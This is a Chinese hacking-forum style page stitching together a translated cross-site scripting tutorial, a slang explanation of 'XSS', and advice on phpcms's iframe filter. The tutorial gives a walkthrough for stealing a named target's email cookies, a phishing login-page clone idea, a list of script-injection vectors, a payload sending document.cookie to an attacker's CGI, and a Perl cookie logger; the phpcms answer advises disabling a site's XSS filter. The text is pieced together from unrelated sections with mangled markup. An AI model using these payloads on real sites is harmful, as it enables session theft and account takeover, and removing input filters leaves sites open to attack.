社会工程学

黑客技术入门,网站入侵,顶级黑客,黑客联盟,攻击网站

xssiframe标签(xss iframe)

本文目录一览:

html跨站语法问题

跨站脚本之完全总结

以前看过分析家写过一篇文章,介绍跨站脚本的安全隐患,当时只是知道有这样的问题,也没有仔细阅读,目前此类问题经常在一些安全站点发布,偶刚好看到这样一篇文章,抱着知道总比不知道好的想法,翻译整理了一下,错误之处请多多指点。

什么是跨站脚本(CSS/XSS)?

我们所说跨站脚本是指在远程WEB页面的html代码中插入的具有恶意目的的数据,用户认为该页面是可信赖的,但是当浏览器下载该页面,嵌入其中的脚本将被解释执行,

有时候跨站脚本被称为"XSS",这是因为"CSS"一般被称为分层样式表,这很容易让人困惑,如果你听某人提到CSS或者XSS安全漏洞,通常指得是跨站脚本。

XSS和脚本注射的区别?

原文里作者是和他一个朋友(b0iler)讨论后,才明白并非任何可利用脚本插入实现攻击的漏洞都被称为XSS,还有另一种攻击方式:"Script Injection",他们的区别在以下两点:

1.(Script Injection)脚本插入攻击会把我们插入的脚本保存在被修改的远程WEB页面里,如

:sql injection,XPath injection.

2.跨站脚本是临时的,执行后就消失了

什么类型的脚本可以被插入远程页面?

主流脚本包括以下几种:

HTML

JavaScript (本文讨论)

VBScript

ActiveX

Flash

是什么原因导致一个站点存在XSS的安全漏洞?

许多cgi/php脚本执行时,如果它发现客户提交的请求页面并不存在或其他类型的错误时,出错信息会被打印到一个html文件,并将该错误页面发送给访问者。

例如: 404 - yourfile.html Not Found!

我们一般对这样的信息不会注意,但是现在要研究CSS漏洞的成因,我们还是仔细看一下。

例:

该URL指向的连接是有效的,但是如果我们把后面的downloads.html替换成brainrawt_owns_me.html,一个包含404 - brainrawt_owns_me.html Not Found! 信息的页面将反馈给访问者的浏览器。考虑一下它是如何把我们的输入写到html文件里的?

OK,现在是我们检查XSS漏洞的时候了!

注意:下面仅仅是一个例子,该页面存在XSS漏洞,我们可以插入一写javascript代码到页面里。当然方法很多

;scriptalert

('XSS_Vuln_Testing')/script

当我们提交这个URL的时候,在我们的浏览器中弹出一个消息框,"XSS_Vuln_Testing"?

这个例子只是一个XSS漏洞的简单演示,并无实际意义,但足以说明问题所在。

下面我们分析一下造成该运行结果的原因,program.cgi对我们的输入没有经过有效过滤处理,就直接写入404 error页面中,结果创建了一个页面,如下:

html

b404/b - scriptalert('XSS_Vuln_Testing')/script Not Found!

/html

其中的javascript脚本通过浏览器解释执行,然后就出现了你所看到的结果。

如何利用XSS来完成hacking?

如同前面所提到,如果用户提交的请求不能得到满足,那么服务器端脚本会把输入信息写入一个html文件,当服务器端程序对写入html文件的数据没有进行有效过滤,恶意脚本就可以插入到该html文件里。其他用户浏览该连接的时候脚本将通过客户端浏览器解释执行。

事例:

假设你发现myemailserver.tld有CSS漏洞,你想要获得其中一个人的email帐号,比如我们的目标是b00b这个人。

把上面存在CSS漏洞的连接修改一下:

这会创建了一个错误页面,我们得到如下信息:

Invalid Input! [article=hax0red]

当插入下面这样的javascript代码时,你的屏幕上会弹出一个包含test的消息框。

;scriptalert('test')

/script

script并没有打印到屏幕上,它是隐藏在背后执行,由于服务器端程序并没有对

scriptalert('test')/script进行有效过滤,所以在页面发回到浏览器并执行了该脚本。

下面我们瞧瞧如何利用该漏洞入侵 b00b同志的邮箱,首先你必须知道b00b的email地址,并且知道cookies的作用。那么你可以告诉b00b一个恶意的连接,嘿嘿,当然它的用意就是从b00b机器中cookie信息里获得自己想要的东东。想办法让b00b访问myemailserver.tld站点发表的文章,比如说:"亲爱的b00b,看看这个美

女如何呀?"

那么当可怜的b00b访问 ;script偷取

并保存cookie的脚本

/script

连接时,发生什么事情?cookie都有了,你该知道怎么办了吧!

如果在你目前不是这样的情形,你可以拷贝email服务器的登陆页面,挂到其他的系统上,然后引导用户登陆你的恶意系统页面这样用户信息你可以记录下来,然后再把记录的信息发送回真正的email服务器页面,那些笨蛋并不会意识到实际发生的事情。

把javascript脚本插入WEB页面的不同方法:

snip

拷贝自:GOBBLES SECURITY ADVISORY #33

Here is a cut-n-paste collection of typical JavaScript-injection hacks

you may derive some glee from playing with.

a href="javascript#[code]"

div onmouseover="[code]"

img src="javascript:[code]"

img dynsrc="javascript:[code]" [IE]

input type="image" dynsrc="javascript:[code]" [IE]

bgsound src="javascript:[code]" [IE]

script[code]/script

{[code]}; [N4]

img src={[code]}; [N4]

link rel="stylesheet" href="javascript:[code]"

iframe src="vbscript:[code]" [IE]

img src="mocha:[code]" [N4]

img src="livescript:[code]" [N4]

a href="about:script[code]/script"

meta http-equiv="refresh" content="0;url=javascript:[code]"

body onload="[code]"

div style="background-image: url(javascript:[code]);"

div style="behaviour: url([link to code]);" [IE]

div style="binding: url([link to code]);" [Mozilla]

div style="width: expression([code]);" [IE]

style type="text/javascript"[code]/style [N4]

object classid="clsid:..." codebase="javascript:[code]" [IE]

style!--/stylescript[code]//--/script

![CDATA[!--]]script[code]//--/script

!-- -- --script[code]/script!-- -- --

script[code]/script

img src="blah"onmouseover="[code]"

img src="blah" onmouseover="[code]"

xml src="javascript:[code]"

xml id="X"abscript[code]/script;/b/a/xml

div datafld="b" dataformatas="html" datasrc="#X"/div

[\xC0][\xBC]script[code][\xC0][\xBC]/script [UTF-8; IE, Opera]

----Copied from GOBBLES SECURITY ADVISORY #33----

/snip

一个真正的获取cookie并且做记录的例子:

注意:要使它工作,你的浏览器必须允许接受站点发送的cookies,

当我测试下面的信息时,使用

javascript创建访问者的cookies,javascript脚本放在index.html文件中。

OK,下面假设存在XSS攻击的安全隐患,存在漏洞的连接是:

;evil javascript

我们创建这样一个连接:

;script

document.location='

.tld

/cgi-bin/evil_cookie_logger.cgi?'+document.cookie/script

然后让保存该站点cookie的用户访问这个连接:

这是我们的CGI脚本,它的作用就是对用户cookie做记录:

---------evil_cookie_logger.cgi-----------

#!/usr/bin/perl

# evil_cookie_logger.cgi

# remote cookie logging CGI coded by BrainRawt

#

# NOTE: coded as a proof of concept script when testing for

# cross-site scripting vulnerabilities.

$borrowed_info = $ENV{'QUERY_STRING'};

$borrowed_info =~ s/%([a-fA-F0-9][a-fA-F0-9])/pack("C", hex($1))/eg;

open(EVIL_COOKIE_LOG, "evil_cookie_log") or print "Content-type:

text/html\n\n something went wrong\n";

print EVIL_COOKIE_LOG "$borrowed_info\n";

print "Content-type: text/html\n\n";

close(EVIL_COOKIE_LOG);

------------------------------------------

该脚本首先通过 $ENV{'QUERY_STRING'}获得cookie,打印到$borrowed_info变量里,通过open(EVIL_COOKIE_LOG, "evil_cookie_log"),把cookie信息保存到evil_cookie_log文件。

注意:上面的javascript脚本,可能在一些浏览器或者站点上不能执行,

这仅仅是我在自己的站点上做测试用的。

如何防范XSS攻击?

1.在你的WEB浏览器上禁用javascript脚本

2..开发者要仔细审核代码,对提交输入数据进行有效检查,如""和""。

可以把"",""转换为,

注意:由于XSS漏洞可被利用的多样性,程序员自己要明白具体需要过滤的字符,

这主要依赖于所开发程序的作用,建议过滤掉所有元字符,包括"="。

对受害者来说不要访问包含script字符的连接,一些官方的URL不会包括任何脚本元素。

最近网上流行的XSS是什么意思

最近网上流行的XSS是小学生的恶称,骂小学生的。

一是指某些人的想法、思维方式、对事物的认知和思考能力如孩子般幼稚、单纯、天真。

二是特指某类相对于同龄的人,在游戏竞技或者社交网络中, 态度傲慢、技术水准较差、拒绝与队友沟通、独断专行、忽视团队合作、甚至喜欢恶语相向的网游玩家。

三是指对没有接触过社会或社会经验不足。

扩展资料:

1、小学生技术菜,爱骂人,玻璃心(说他一句就挂机送人头,不管说什么,比如:中路的你不要再送了,然后他就说“我就送”,接着就开始了。)小学生的心思就像星空,摸不着猜不透。

2、大喷子(网络中对喜欢肆意谩骂、地域黑、招黑、互黑等网友的一种广泛性定义。),不分青红皂白就开喷。

3、说话不经过大脑考虑,以自我为中心,可能是在家被宠惯了。

4、没有接触过社会大家庭或接触社会经验不足。比如:参加工作,你要是不让新人上,永远都是新人。这也是小学生。

phpcms iframe问题

phpcms 有过滤函数的 把iframe这个标签过滤了,当有这个标签的时候就会进行HTML转义,如果你真的需要添加的话可以 把这个过滤删掉或者修改一下,不过需要修改PHP文件的,在/phpcms/libs/functions/global.func.php 这个文件里面 大约89行,你可以打开这个文件然后直接搜索iframe,然后再前面或者后面加个什么字母改变它,例如ssiframe,这样添加文章的时候就不会过滤了。

function remove_xss($string) { 

    $string = preg_replace('/[\x00-\x08\x0B\x0C\x0E-\x1F\x7F]+/S', '', $string);

    $parm1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'linkss', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');

  • 评论列表:
  •  世味只酷
     发布于 2022-06-27 12:38:31  回复该评论
  • t="0;url=javascript:[code]" body onload="[code]" div style="background-image: url(javasc
  •  鹿岛轻禾
     发布于 2022-06-27 21:43:30  回复该评论
  • frame', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
  •  假欢饮湿
     发布于 2022-06-27 22:39:34  回复该评论
  • ouseover="[code]" img src="javascript:[code]" img dynsrc="javascript:[code]" [IE] input
  •  夙世南戈
     发布于 2022-06-27 21:50:26  回复该评论
  • 是小学生的恶称,骂小学生的。一是指某些人的想法、思维方式、对事物的认知和思考能力如孩子般幼稚、单纯、天真。二是特指某类相对于同龄的人,在游戏竞技或者社交网络中, 态
  •  野欢遐迩
     发布于 2022-06-27 19:26:40  回复该评论
  • 个人的email帐号,比如我们的目标是b00b这个人。把上面存在CSS漏洞的连接修改一下:这会创建了一个错误页面,我们得到如下信息: Invalid Input! [article=hax0red]当插入下面这样的javascript代码时,

发表评论:

Powered By

Copyright Your WebSite.Some Rights Reserved.